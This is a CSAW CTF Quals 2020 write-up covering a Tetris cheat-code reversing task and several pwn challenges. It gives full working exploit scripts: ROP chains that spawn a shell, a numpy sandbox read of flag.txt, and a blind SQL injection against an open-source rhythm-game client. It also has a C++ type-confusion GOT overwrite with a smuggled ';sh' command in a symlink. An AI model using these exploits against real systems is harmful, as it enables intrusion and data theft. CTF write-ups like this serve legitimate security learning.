I was looking forward to playing CSAW CTF Quals 2020 since it was right level for me last year. We played this year's CSAW CTF in zer0pts and reached 11th place.
I mainly worked on pwn and rev, and the pwn challenges were good. (I don't like blox2 though :p) The worst was the reversing tasks: They were boring and some were super-guessy. As I saw my team members working on crypto and web tasks, it seemed crypto and web were terrible too.
I'm going to write my solution for the "decent" tasks among what I solved during the CTF.
The tasks and solvers for the challenges I solved are available here:
Other member's writeup:
- [Rev 300pts] blox1(84 solves)
- [Pwn 50pts] roppity (374 solves)
- [Pwn 100pts] slithery (347 solves)
- [Pwn 150pts] grid (123 solves)
- [Pwn 150pts] The Bards' Fail (97 solves)
- [Pwn 250pts] pwnvoltex (20 solves)
- [Pwn 450pts] feather (6 solves)
Description: We found an old arcade machine lying around, manufactured by the RET2 Corporation. Their devs are notorious for hiding backdoors and easter eggs in their games, care to take a peek? Server: [https://wargames.ret2.systems/962c162fa1d2ea626d36/csaw_2020]
We're given a URL to the challenge working on a platform named ret2systems
.
I don't know why the author couldn't just use SSH or something to run this challenge instead of this strange platform.
Anyway we have the most part of the source code of TETRIS. Our goal is to find out the cheat codes.
#define LOG_CHEATING 0xbadb01 #define LOG_HACKING 0x41414141 void hw_log(int reason) { syscall(1337, reason); } ... if (!cheats_enabled && check_cheat_codes()) { cheats_enabled = 1; hw_log(LOG_CHEATING); }
The source code of check_cheat_codes
is not provided but it exists in the disassembly tab.
I just read the assembly and converted it into the following C code.
char data_403700[] = { 3, 2, 3, 2, 2, 0, 1, 3, 1, 0, 0, 2, 2, 2, 2, 0, 3, 0, 1, 0 }; char data_403718[] = { 1, 2, 3, 1, 7, 4, 1, 1, 1, 3, 7, 5 } char data_403730[] = { 2, 2, 2, 2, 2, 3, 1, 2, 1, 3, 3, 1, 1, 1, 1, 3, 1, 3, 1, 3 }; char data_403748[] = { 5, 2, 3, 5, 3, 2, 1, 5, 1, 4, 3, 4 }; int huga(int x) { for(int i = 0; i < 3; i++) { char a = 0, b = 0; for(int j = 0; j < 5; j++) { if (board[j+15][x*3+i]) { a ^= (j + 1); b += 1; } } if (data_403718[x*3 + i] != a) return 0; if (data_403748[x*3 + i] != b) return 0; } } int hoge(int x) { for(int i = 0; i < 5; i++) { char a = 0, b = 0; for(int j = 0; j < 3; j++) { if (board[i+15][x*3+j]) { a ^= (j + 1); b += 1; } } if (data_403700[x*5 + i] != a) return 0; if (data_403730[x*5 + i] != b) return 0; } return 1; } int check_cheat_codes() { for(int i = 0; i < 4; i++) { if (hoge(i) == 0) return 0; if (huga(i) == 0) return 0; } }
I used Z3 to solve the constraints.
from z3 import * from ptrlib import * array1 = [ 3, 2, 3, 2, 2, 0, 1, 3, 1, 0, 0, 2, 2, 2, 2, 0, 3, 0, 1, 0 ] array2 = [ 1, 2, 3, 1, 7, 4, 1, 1, 1, 3, 7, 5 ] array3 = [ 2, 2, 2, 2, 2, 3, 1, 2, 1, 3, 3, 1, 1, 1, 1, 3, 1, 3, 1, 3 ] array4 = [ 5, 2, 3, 5, 3, 2, 1, 5, 1, 4, 3, 4 ] s = Solver() board = [ [BitVec(f"flag[{i},{j}]", 8) for j in range(12)] for i in range(20) ] for i in range(20): for j in range(12): if i < 15: s.add(board[i][j] == 0) else: s.add(Or(board[i][j] == 0, board[i][j] == 1)) for x in range(4): for i in range(3): a = b = BitVec(0, 8) for j in range(5): a ^= board[j+15][x*3+i] * (j + 1) b += board[j+15][x*3+i] s.add(a == array2[x*3+i]) s.add(b == array4[x*3+i]) for i in range(5): a = b = BitVec(0, 8) for j in range(3): a ^= board[i+15][x*3+j] * (j + 1) b += board[i+15][x*3+j] s.add(a == array1[x*5+i]) s.add(b == array3[x*5+i]) r = s.check() if r == sat: m = s.model() output = "" for i in range(20): for j in range(12): output += str(m[board[i][j]]) output += "\n" print(output) else: print(r) exit()
We need to put the blocks like the following.
110111111111 101100010001 110110010111 101100010100 101111010111
As the program uses srand(1)
to initialize the seed, the sequence of tetorimino doesn't change every time we play the game.
My solution to arrange this is:
- Go gameover to discard
S Z T S L Z L L O I L J S Z I Z T I I O O
- Use
J O O O T J I S Z I T S Z O Z Z S I L Z Z I T T J L S I
to create a layout like the following.
S SS S Z ZZ It ZOOIttT IOOItTTI IS IzzTI ISSZZzzI JJ IZS ZZ IZJS ZZ IIIIZZJSS Z ZZ Z S JJ ZZ I LLL J OO I L J OOZZ I LLL OOooJZZITLOO OOooJJJTTTOO
To accomplish this, we have to put the first S-mino into the storage.
Description: Welcome to pwn! Files: rop, libc-2.27.so Server: nc pwn.chal.csaw.io 5016
Just abuse the buffer overflow.
from ptrlib import * elf = ELF("./rop") libc = ELF("./libc-2.27.so") sock = Socket("nc pwn.chal.csaw.io 5016") sock.recvline() rop_pop_rdi = 0x00400683 payload = b"A" * 0x28 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("main")) sock.sendline(payload) libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc = " + hex(libc_base)) sock.recvline() payload = b"A" * 0x28 payload += p64(rop_pop_rdi + 1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.sendline(payload) sock.interactive()
Description: Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one... File: sandbox.py Server: nc pwn.chal.csaw.io 5011
We're given a Python code named sandbox.py
:
from base64 import b64decode import blacklist """ Don't worry, if you break out of this one, we have another one underneath so that you won't wreak any havoc! """ def main(): print("EduPy 3.8.2") while True: try: command = input(">>> ") if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!") final_cmd = """ uOaoBPLLRN = open("sandbox.py", "r") uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8) ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ") AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU] bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU] uOaoBPLLRN.close() HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg) RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command print(final_cmd) exec(final_cmd) except (KeyboardInterrupt, EOFError): return 0 except Exception as e: print(f"Exception: {e}") if __name__ == "__main__": exit(main())
I don't know why they obfuscated the code but it just imports numpy
and base64.b64decode
.
Also, the blacklist is not given :thinking_face:
Anyway the purpose of this challenge may be finding a useful function in numpy which can read a text file.
When numpy.loadtxt
fails, it outputs an error with the token it failed to interpret.
So, it's done.
$ nc pwn.chal.csaw.io 5011 EduPy 3.8.2 >>> RMbPOQHCzt.loadtxt("flag.txt") Exception: could not convert string to float: 'flag{y4_sl1th3r3d_0ut}'
Description: After millions of bugs, all my homies hate C. Files: grid, libc-2.27.so, libstdc.so.6.0.25 Server: nc pwn.chal.csaw.io 5013
There is a 10x10 map and we can put a characters anywhere every time up to 100 times. As the map is uninitialized, we can easily leak the libc address from libstdc base.
$ ./grid shape> d Displaying +!`�! `~#� �/<U� p#�� C~#��M .U�^U �C~#�� VU� ~ #��~#�
The main vulnerability is the out-of-bounds write in the display function. We can simply put our ROP chain.
from ptrlib import * def new(shape, x, y): sock.sendlineafter("> ", shape) sock.sendlineafter("> ", str(x) + " " + str(y)) def display(): sock.sendlineafter("> ", "d") l = [] sock.recvline() for i in range(10): l.append(sock.recvline()) return b''.join(l) elf = ELF("./grid") libc = ELF("./libc-2.27.so") sock = Socket("nc pwn.chal.csaw.io 5013") libstd = ELF("./libstdc.so.6.0.25") """ sock = Process("./grid", env={"LD_PRELOAD": "./libstdc.so.6.0.25"}) libstd = ELF("./libstdc.so.6.0.25") #""" libstd_base = u64(display()[0x38:0x40]) - libstd.symbol("_ZN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEE5uflowEv") - 13 logger.info("libstd = " + hex(libstd_base)) libc_base = libstd_base - 0x3f1000 logger.info("libc = " + hex(libc_base)) rop_pop_rdi = 0x00400ee3 payload = p64(rop_pop_rdi+1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) offset = 0x78 for i, c in enumerate(payload): x, y = (offset + i) // 10, (offset + i) % 10 print(i, hex(c)) if c == 0xff: continue new(chr(c), x, y) sock.sendlineafter("> ", "d") sock.interactive()
Description: Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun. Files: bard, libc-2.27.so Server: nc pwn.chal.csaw.io 5019
We can fill a buffer with 10 good
or evil
objects.
The two structures share same members but have different order.
typedef struct { char type; short nazo1; int nazo2; char name[0x20]; double nazo3; } GoodWeapon; typedef struct { char type; double nazo3; int nazo2; short nazo1; char name[0x20]; } EvilWeapon;
The buffer is allocated in the stack and its size is 0x1e0.
As the size of EvilWeapon
is 0x38, filling the buffer with EvilWeapon
may cause buffer overflow.
from ptrlib import * def good(name, type=1): sock.sendlineafter(":\n", "g") sock.sendlineafter("accuracy\n", str(type)) sock.sendafter(":\n", name) def evil(name, type=1): sock.sendlineafter(":\n", "e") sock.sendlineafter("ment\n", str(type)) sock.sendafter(":\n", name) libc = ELF("./libc-2.27.so") elf = ELF("./bard") sock = Socket("nc pwn.chal.csaw.io 5019") good("A" * 0x20) for i in range(7): evil("A" * 0x20) evil("A" * 0x18) addr_main = 0x40107b rop_pop_rdi = 0x00401143 payload = p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(addr_main) good(payload) for i in range(10): sock.sendlineafter("un\n", "r") sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc = " + hex(libc_base)) good("A" * 0x20) for i in range(7): evil("A" * 0x20) evil("A" * 0x18) addr_main = 0x40107b rop_pop_rdi = 0x00401143 payload = p64(rop_pop_rdi + 1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) good(payload) for i in range(10): sock.sendlineafter("un\n", "r") sock.interactive()
Description: With COVID all the arcades are closed :( Luckily there is a clone of my favorite rhythm game, Sound Voltex, free and open source online!! I even charted a new flag song too! Lets play some multiplayer :3 Files: pwnvoltex.tar.gz
README.txt
shows the instruction.
Hello! We are going to have some fun and play my fav game: https://github.com/Drewol/unnamed-sdvx-clone You can grab it prebuilt from here: Windows: https://drewol.me/Downloads/Game.zip Linux (needs github login): https://github.com/Drewol/unnamed-sdvx-clone/suites/1128119397/artifacts/16053517 You can then put the `flagsong` directory into the `songs` directory of USC to play it Now for the actual challenge: You have to retrieve the real flag from `./flagsong/flag.ksh` on my computer (Your copy doesn't have the real flag in it). My bot (who has the real flag song) will play multiplayer with you if you like. It will be using https://github.com/itszn/usc-multiplayer-server on 34.234.204.29 port 39079 (this can be set in the USC settings under online) The multiplayer sever will restart every 15 min NOTE: Some functionality of the bot has been simplified for this challenge but the intended bug left intact. If you think you have a bug that won't reproduce on the real bot, message me (itszn) and I can test the full, unaltered, client for you. The client the bot is using should be feature equivalent to git commit 649b444485db4b1f6dfa0e6adab90dd242764394 Also in case you need it, my computer is running Windows 10 (but you probably don't need to know this...) ALSO if you are actually good at SDVX, let me know and we can play some real matches :)
So, we have a game server and the game client. When we create a room as the game host, a bot enters the room immediately and play the game after the host decides the song to play.
Our goal is to leak the effector of flag.ksh
in the bot's machine.
title=Wavin' Flag artist=K'NAAN effect=flug{bot has the real flag! go pwn it} jacket=jacket.png ...
Before looking for the vulnerability, I narrowed the subject of the investigation based on some guesses.
- Perhaps there's no vulnerability in the game server
- Although the server is written by the challenge author, it's maybe secure because it's been written for a year
- They would not distribute the code throguh github if it has a vulnerability
- Perhaps we don't need to use any vulnerabilities like UAF or BOF
I focused on two possibilities:
- The procotol by nature can leak the effector of the client (Protocol's Flaw)
- The client has a bug which can do something with the effector
I noticed that the game was using SQLite3 to store the music list and so on.
$ file maps.db maps.db: SQLite 3.x database, last written using SQLite version 3013000
It smells like SQL Injection. Let's check the source code.
Map<int32, FolderIndex*> FindFoldersByPath(const String& searchString) { String stmt = "SELECT DISTINCT folderId FROM Charts WHERE path LIKE \"%" + searchString + "%\""; Map<int32, FolderIndex*> res; DBStatement search = m_database.Query(stmt); while(search.StepRow()) { int32 id = search.IntColumn(0); FolderIndex** folder = m_folders.Find(id); if(folder) { res.Add(id, *folder); } } return res; }
Bingo!
The flow to the SQLi looks like this:
- Create a room as the game host
- Bot enters the room
- Suggest "[SQLi payload]" as the song name to play
- The game server broadcasts the song to other clients
- The client (bot) fails to find the song by hash and tries to use the song title
- Boom
However, this is a blind SQL Injection. The status of the bot becomes "ready" if the bot can find the song. I used this feature as an oracle and leaked the flag byte by byte with using binary search.
from ptrlib import * import json def oracle(query): def send_json(jsondata): sock.send("\x01" + json.dumps(jsondata) + "\x0a") def recv_json(): l = sock.recvline() assert l[0] == 1 r = json.loads(l[1:].decode()) return r sock = Socket("34.234.204.29", 39079) send_json({ "name": "pwner", "password": "", "topic": "user.auth", "version": "v0.19" }) data = recv_json() userid = data["userid"] recv_json() send_json({"name": "myroom piyo", "password": "", "topic": "server.room.new"}) data = recv_json() roomid = data["room"]["id"] recv_json() send_json({ "chart_hash": "hogehuga", "diff": 0, "level": 16, "song": query, "topic": "room.setsong" }) recv_json() data = recv_json() sock.close() if data["users"][1]["ready"]: return True else: return False flag = "" for pos in range(1+len(flag), 100): left, right = 0, 128 while left != right: print(pos, hex(left), hex(right)) mid = (left + right) // 2 payload = 'nyanta%" UNION SELECT 1 WHERE CASE WHEN unicode(substr((SELECT effector FROM Charts WHERE path LIKE "%flagsong%"),{},1))<{} THEN "%" ELSE "%%" END="'.format(pos, mid) if oracle(payload): if right == mid: break left, right = left, mid else: if left == mid: break left, right = mid, right flag += chr(mid) print(flag)
Description: I made a brand-new filesystem archive format that I think will supercede tar! Could you help me test it out? Files: feather, feather.cpp, libc-2.31.so Server: nc pwn.chal.csaw.io 5017
This time the source code is provided. Nice!
The program is a file system loader. The structure of the file system looks like this:
[ header ] [ segment1 ]--+ [ segment2 ]--|-+ ... | | [ segment3 ]--|-|-+ [ file 1 ]<-+ | | [ file 2 ]<---+ | ... | [ file 3 ]<-----+
There are 5 types of the file:
- DIR: Directory
- FILE: File
- CLONE: Clone of a file
- SYMLINK: Symbolic link
- HARDLINK: Hard link
- LABEL: The label of the volume
Finding the Vulnerability
There exists many bugs which crashes the program. After I run fuzzing on the program with a dirty Python code, I found the following crash.
$ ./feather Please send a base64-encoded feather file, followed by two newlines: RkVBVEhFUgADAAAABQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAQAAAAwAAAAEAAAAAQAAAA0AAAAJAAAAWAAAAAABAAAAAQAAAAEAAADnAwAAQQ== Loading Feather Filesystem... Filesystem dump: Tree with label X:/ Error: Unhandled segment type in print_tree: 0x58 中止 (コアダンプ)
It looks like a type confusion. This is the part which crafts the filesystem in the minimal PoC.
data = [ (TYPE_LABEL, 1, label(b"X")), (TYPE_DIR , 0, directory(b"", [1])), (TYPE_HARD, 1, hardlink(b"A", 999)), ]
In this file system, I put a root directory, a hardlink and a label. The hardlink points to an inode that doesn't exist. By changing the order like the following, you'll realize it's type confusion.
data = [ (TYPE_DIR , 0, directory(b"", [1])), (TYPE_HARD, 1, hardlink(b"A", 999)), (TYPE_LABEL, -1, label(b"A" * 0x40)), ]
Yummy :P
Filesystem dump: Tree with label AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/ Error: Unhandled segment type in print_tree: 0x41414141 中止 (コアダンプ)
Type Confusion to AAW
So, what can we do with the type confusion?
File_Clone
has a cache system.
File_Clone &file_clone(Feather &fs) { auto &result = std::get<File_Clone>(value); if (result.cached_file_contents.empty()) { result.cached_file_contents = fs.loaded_segments.find(result.source_inode)->second->file().contents; } return result; }
When it's trying to print_tree
a clone file, it calls file_clone
to cache the data of the actual file.
So, if we can prepare a fake cached_file_contents
, we may get AAW primitive.
Is it possible even under the condition result.cached_file_contents.empty()
?
The structure of vector<u8>
looks like this:
+0x00: the start address of the vector +0x08: the current end address of the vector +0x10: the end address of the vector(capacity)
I read how empty()
method in C++ works in assembly and found it just return true when cur
== begin
.
Also, I read the copy constructor (operator==
) of vector<u8>
in assembly.
It's deepcopy and only reallocates when the capacity is not enough.
That is, "end - begin <= the size of source vector."
To summerize, we can make AAW by preparing a fake File_Clone
like this:
[Segment_Type type] +0x00: 2 [std::string name] +0x08: <address of filename> +0x10: <size of the string> +0x10: <capacity of the string> +0x18: 0 [Value value] (std::variant) +0x20: <file id> +0x28: <target address> +0x30: <target address> +0x38: <target address + 0x100> +0x40: 0 +0x48: 2 (variant type)
Address Leak
We can leak the address by the filename.
I made the filename of the fake File_Clone
point to puts@got
to leak the libc base.
Getting the Shell
Although we can overwrite the GOT by AAW, we have to carefully choose which function to overwrite.
First of all, we have to call main
function again so that we can get the shell in the second round.
We can't overwrite something like puts
or delete
because it'll be used in the second round as well.
I used memcmp
as the trigger.
memcmp
is used by the comparison of std::string
.
String comparison occurs only when Symlink
tries to trace the filepath.
Also, we can pass an arbitrary argument to memcmp
, which is useful to call system("/bin/sh")
.
Exploit
This challenge is one of the best C++ pwn I've ever solved.
import base64 from ptrlib import * TYPE_DIR = 0 TYPE_FILE = 1 TYPE_CLON = 2 TYPE_SYM = 3 TYPE_HARD = 4 TYPE_LABEL = 5 def segment(type, id, offset, length): return p32(type) + p32(id) + p32(offset) + p32(length) def directory(name, entries): d = p32(len(name)) + p32(len(entries)) + name for entry in entries: d += p32(entry) return d def file(name, contents): return p32(len(name)) + p32(len(contents)) + name + contents def clone(name, inode): return p32(len(name)) + p32(inode) + name def symlink(name, target): return p32(len(name)) + p32(len(target)) + name + target def hardlink(name, target): return p32(len(name)) + p32(target) + name def label(name): return name elf = ELF("./feather") sock = Socket("pwn.chal.csaw.io", 5017) libc = ELF("./libc-2.31.so") """ Stage 1: libc leak """ addr_target = elf.got("memcmp") fake_entry = p64(TYPE_CLON) fake_entry += p64(elf.got("puts")) fake_entry += p64(0x10) * 2 fake_entry += p64(0) fake_entry += p64(0xdead) fake_entry += p64(addr_target) fake_entry += p64(addr_target) fake_entry += p64(addr_target + 0x100) fake_entry += p64(0) fake_entry += p64(2) payload = p64(elf.symbol("_start")) data = [ (TYPE_DIR , 0x0000, directory(b"", [0xcafe, 0xbad0])), (TYPE_FILE , 0xdead, file(b"A"*0x10, payload)), (TYPE_HARD , 0xcafe, hardlink(b"C", 0x0002)), (TYPE_LABEL, 0xffff, label(fake_entry)), (TYPE_FILE , 0xbad1, file(b"B", b"b"*0x10)), (TYPE_SYM , 0xbad0, symlink(b"D"*0x10, b"/B")), ] fs = b"FEATHER\x00" fs += p32(len(data)) ofs = 0 for datum in data: fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2])) ofs += len(datum[2]) for datum in data: fs += datum[2] b = base64.b64encode(fs) sock.recvline() sock.sendline(b + b'\n') r = sock.recvregex("(.+): File, 8 bytes") libc_base = u64(r[0][2:]) - libc.symbol("puts") logger.info("libc = " + hex(libc_base)) """ Stage 2: Get the shell! """ addr_target = elf.got("memcmp") fake_entry = p64(TYPE_CLON) fake_entry += p64(elf.got("puts")) fake_entry += p64(0x10) * 2 fake_entry += p64(0) fake_entry += p64(0xdead) fake_entry += p64(addr_target) fake_entry += p64(addr_target) fake_entry += p64(addr_target + 0x100) fake_entry += p64(0) fake_entry += p64(2) payload = p64(libc_base + libc.symbol("system")) data = [ (TYPE_DIR , 0x0000, directory(b"", [0xcafe, 0xbad0])), (TYPE_FILE , 0xdead, file(b"A"*0x10, payload)), (TYPE_HARD , 0xcafe, hardlink(b"C", 0x0002)), (TYPE_LABEL, 0xffff, label(fake_entry)), (TYPE_FILE , 0xbad1, file(b"B", b"ponta")), (TYPE_SYM , 0xbad0, symlink(b"D", b"/B/;sh")), ] fs = b"FEATHER\x00" fs += p32(len(data)) ofs = 0 for datum in data: fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2])) ofs += len(datum[2]) for datum in data: fs += datum[2] b = base64.b64encode(fs) sock.recvline() sock.recvline() sock.sendline(b + b'\n') sock.interactive()